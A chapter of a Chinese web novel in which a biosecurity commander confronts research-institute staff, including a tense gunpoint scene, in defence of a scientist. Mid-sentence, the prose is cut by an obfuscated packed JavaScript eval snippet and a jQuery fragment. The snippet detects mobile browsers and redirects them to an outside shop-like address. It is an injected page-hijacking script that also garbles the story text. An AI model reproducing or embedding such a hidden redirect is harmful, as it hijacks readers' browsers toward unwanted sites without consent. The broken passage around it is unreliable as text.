——
研究所的大教室用来学会发表和办讲座,正儿八经的会客室根本容纳不了所有的研究员。所长让去会客室集合,所里人心惶惶。
会客室外。
道里站满了面色忧虑的研究员。
“为什么生物安全署会来人?”“又有东西变异了?”“外面停了好多武装车,是出事了吗?”“谁、谁来了啊?”
“嘘,所长在里面呢。”
潼港植物研究所是官方科研机构,由辖区长任怀安手下的部门统一管理。潼港发生植物变异后,特战队算是半接管了潼港。
这支队伍大张旗鼓过来,研究员们寻思饭碗是不是要砸了。
这时,一个制服带章的人从会客室探头,议论声停了。
只见那人扫视一圈,看到人群最后的身影时眼一亮,殷切叫了声:“唐博士!您请进来吧!”
唐奂因为隔得远没听清。
“唐博士!”
在研究员们惊愕中,那人拨开人群快步走来,隔着几米就笑着伸手:“您还记得我吗?我是周武,周副手!”
“当然。”
唐奂握住那只手,面前浮现出这人头朝地翻倒在直升机里的模样。
“等您好久了,请跟我进来吧。”周副手头前带路,忽然想起什么,一回头看向贺淮,换了个语气,沉声道:“你也过来。”
贺淮正奇怪,怎么堂堂副手还跑出来接人,等一进门,就知道为什么这么大阵仗了。
所长和亲信们站成了一排。
会客室的墙一尘不染,一张高悬的名人画像写着勉励人心的话:知识就是力量[英]弗朗西斯?培根。
画像正对面,是荷枪实弹的特战队。
坐席中央气场压得众人喘不过气的,正是生物安全署高级指挥官,黎准。
“指挥官,人来了。”周副手随手关门。
一前一后进来的是唐奂和贺淮,黎准的视线跟着他们,交叠双腿,在座椅上换了个姿势。
林今二话不说蹭到唐奂身边,唐奂侧耳,听林今说:“我今天联系明信片上的人,就是那个副手,他让我去辖区报告。我一去就看到黎指挥官了,他问你怎么没来,我就说你不在项目组了。”
唐奂:“然后呢。”
“然后他也没听我汇报……”林今小心瞟黎准一眼,也不敢大声,毕竟那会儿现场的特战队员们都死亡僵直了,“再然后,我就搭武装顺风车回来了。”
说完林今一耸肩,他至今还是懵的。
“是谁批准你们私自更改研究组的人员配置?”
话音让在场除了唐奂的人都皮肉一紧,黎准的声音冷硬,不带任何余地。
“总不会是任区长吧?”
“呃,不……”
所长紫黑的嘴唇颤了颤,却不敢说话。
因为不知道黎准是不是明知故问。如果不是,他不敢接话,如果是,他更不敢接话。
“昼夜花谁发现的?”黎准敲了敲桌面,目光扫向所长。
“是……是……”
所长额头冒着冷汗,小声道,“是唐奂。”
“转组的事你一个人说了算吗?”黎准眼神锐利到把人穿透,可他中途走了神。
唐奂的衬衫前襟有不寻常的弧度,明显是被人狠狠拉扯过。这会儿唐奂正在一声不吭地整理。
走神的也不止黎准,长桌另一侧,贺淮噙着冷笑。难怪从有人来报信开始,唐奂就是了然于胸的样子。
今天这出闹剧根本不是巧合。
贺淮眯眼,灼热的目光快要在唐奂身上烧出一个洞。
“——那边那个,你来说!”
“贺淮!”
贺淮被所长用力拉了一下才回神,不知何时黎准的视线已经到了他身上:“项目不是给你了吗?”
贺淮心底闪过一阵不悦,也只能努力保持微笑:“指挥官,昼夜花的研究本质是共生性变异植物的分析,研究所的分配——”
“我没问研究所,我在问你。”
黎准一只手按在桌上,肩章随着前倾的动作光亮锋芒:“没有上面的批准,这个项目你也敢接?”
“谁说没有,任区长——”
“哎!”所长惊呼。
贺淮没说下去,他发现黎准时不时瞟唐奂,好像忽然明白了什么,唇角抽搐:“好,好一个兴师问罪。指挥官,您要是想把项目那个还给他,大可以直说!”
紧绷的气氛被一刀划破,空气骤然变冷。
咔!整齐划一的举枪声毫不拖泥带水,不过转瞬,十几条森然的枪.口已经对准了贺淮。
贺淮瞳孔一缩,“——!”
所长连忙站出来缓和气氛,使劲把贺淮往身后拉:“指、指挥官,这件事是我不好,我、我道歉,我检讨!”
万般不情愿的,所长隐隐向唐奂求助:“唐奂,你看这……”
唐奂两手交叠身前,视若无睹:“该道歉的是我,我好像又不小心越级上报了。”
黎准:“哦?”
“没有!”所长痛苦面具,张开手臂瞪眼高声:“绝对没有!”
“那就好。”黎准利落起身,神情缓和了些,“从今天开始,我不想再听到任何关于唐博士不利的消息。”
白森森的墙衬得一众人脸色难看更甚,黎准两手一正衣领,路过一个特战队员身边时拿过他手里的SIG步枪。
一瞬间全场鸦雀无声。
贺淮正要开口,那条黑色枪.管抵住了他的心脏。
“——你刚才说得很对。”
导轨边缘寒光森冷,黎准指尖轻轻一搭,枪托自然下垂,前握把贴合掌心:“我今天来就是为了他的事,如果你有意见,现在说。”
咔嗒一声,消音器锁死,整个房间的空气仿佛凝结。
贺淮眉心狠狠压着,换做平时他是不吃这一套的,他不相信一个空降的指挥官会在辖区的官方机构因为一点口角当场打死一个研究员。
可是,这事赌不得。
面前的年轻指挥官比他高半个头,宽阔的肩膀撑起肃然的战装,目光如炬——明明也不是丛林社会了,人类面对力量强劲的雄性,警觉避让的雷达还是深深刻印在了基因里。
额边一行冷汗落下,贺淮掌心也湿透了。
常年敏锐的神经告诉他,再说多一句嘴,黎准真的会扣动扳机。
“没有。”
贺淮用很低的声音说。
“很好。”黎准把枪丢给旁边的周副手,“赵所长!”
“是!”所长挺直脊背。
“有些话我只说一遍,今时今日你的地位来之不易,如果你当不好这个风光的吉祥物,”黎准从所长身后走过:“我的人第二天就能来接管整个研究所。”
“……是!是!”
所长一边擦汗,一边万般殷勤跟在后面送人。
唐奂安静走在最后。
料到安全署会对他被调组有反应,唐奂没想到的是,打个电话或派个人来就能办了的事,竟然闹了这么大的动静。
走廊里的讨论声像打了静音似的骤然停止。
研究员们自觉挤满了左右两面墙,周副手快走几步给黎准披回外套,黎准抬手一挡,回过了身。
“唐博士。”
唐奂:“?”
出来送的所长和项目组的人都怔在廊道。
现场静得一根针掉下来都能听见。
黎准在他面前站定,调侃道:“没想到,你也会因为一点鸡毛蒜皮的小事走投无路啊。”
“制度上的事我无能为力。”
稍一停顿,唐奂回头看了所长他们一眼:“就像他们,也对你无能为力。”
所长等人:“……”
挤满了人的走廊,两人站的地方天然形成了一道驱散众人的屏障。
唐奂清嗓子,低声:“指挥官,不管怎么说,我还是谢谢你——”
“先不忙谢。”黎准抬手,“反正我也没打算白来一趟,实话说这几天我手边有件事挺难办,接下来可能要辛苦你了。”
话音落下的同时,唐奂正疑惑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111653|195873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所有人只听见皮靴咔地一声,黎准站直身体,一个标准的敬礼!
这下搞得其他队员也慌忙跟着敬。
走廊森白的两道墙之中,一眼望去特战队员齐刷刷的,大理石地板映照出他们坚定的面孔,山呼海啸般的压迫感在走廊蔓延。
所长暗地里咽口水,在场的研究员们愕然,脊背收紧,大脑空白。
“你先处理项目的事,过两天我让周副手来接你。”黎准最后看了唐奂一眼,迈开脚步向外走去。
所长殷勤:“我送您……”
“赵所长请留步。”
周副手颇为有礼地笑着挡住,视线越过所长向唐奂一点头,随即招手:“收队!”
两排卫队自动合拢,鱼贯跟上,很快就挡住了黎准离去的背影。
……
当晚,昼夜花组织和近期的实验记录被紧急送回。所长没来,东西是堆满了笑容的助手送回来的,被憋着一口气的林今逮到一通喷,也没敢放个屁就跑了。
昼夜花那次暴走后被切成了三十段,只保留了一份存活样本,一开始它还是小小的一团,没几天又塞满了培养舱。
丝状的绿色组织像蛛网一样攀附在玻璃壁上,它对着的地方,是实验桌前正在沉思的唐奂。
嗡——
【贺淮:是什么时候的事?】
嗡——
【贺淮:你和那个黎准】
嗡——嗡——
【贺淮:看来我们分手的期间你也没闲着啊,你干了什么?】
【贺淮:别太得意了!】
嗡——
【贺淮:他们只会利用你罢了!】
工作号没有拉黑功能,唐奂报告翻到最后一页,抽空把手机调整到了静音。
此时,研究所大楼外。
“不回我是吧。”贺淮面色阴狠地看着手机屏幕。有了今天的事,所长提醒他最近不要再接近唐奂。
时间已经很晚了,路灯孤零零亮着,远处传来引擎声。
贺淮一抬头。
哧——
一辆高调的银粉色玛拉莎蒂急停面前,车门打开,伸出来一条白皙的大腿。女人拨动棕色的长卷发,举着手机:“为什么不回我消息?”
“任静?”
贺淮合上手机,忍不住皱眉,“我不是和你说了最近很忙吗?”
“再忙连女朋友都不理吗?好了别生气,我也是看你辛苦。”任静揽贺淮的手臂,耐心劝着:“要么你这个活也别干了,去我爸爸那边吧。”
不提还好,一提“爸爸”,贺淮气不打一处来,看着任静冷笑:“我的大小姐,黎准都跑到研究所来撒野了,你爸爸好歹也是潼港当了12年的辖区长,这事他有问过一句吗?”
“黎准?”任静细眉一抬,笑说,“他一个外人能在潼港待多久,你还怕他?”
“行了你别管了,回去吧。我没空见你。以后你也别到这里来,听到没。”
一开始贺淮只是想挡开她揽着的手,忽然研究所大厅的声控灯亮了,任静一眯眼看到一个颀长瘦削、眼神如墨的男人走了出来。
一秒不到,贺淮触电了似的猛地甩开她,疾走向男人:“唐奂,不是的,她……”
被叫做唐奂的男人面无表情地走过去了。
任静注视着男人的背影。
嘟嘟——
一连四辆没有标识的黑色SUV冲进大门,为首的那辆下来一个人,是辖区的副区长。
副区长满头大汗地跑过来:“任小姐,这么晚了您一个人出来太危险了,快跟我们回去吧。任区长该着急了。”
“我会再来找你的,贺淮。”
任静把车钥匙丢给副区长,上车前悄悄看了贺淮一眼。
SUV一路扬长而去,后座的任静点了根细长的女士香烟,慵懒地靠向椅背,“看到外面那个人了吗?”
“哪儿?”副区长看窗外,只见车灯照亮了一个背影笔直的男人,男人沿路边走,让开了路,“看到了。”
任静:“去查查他。”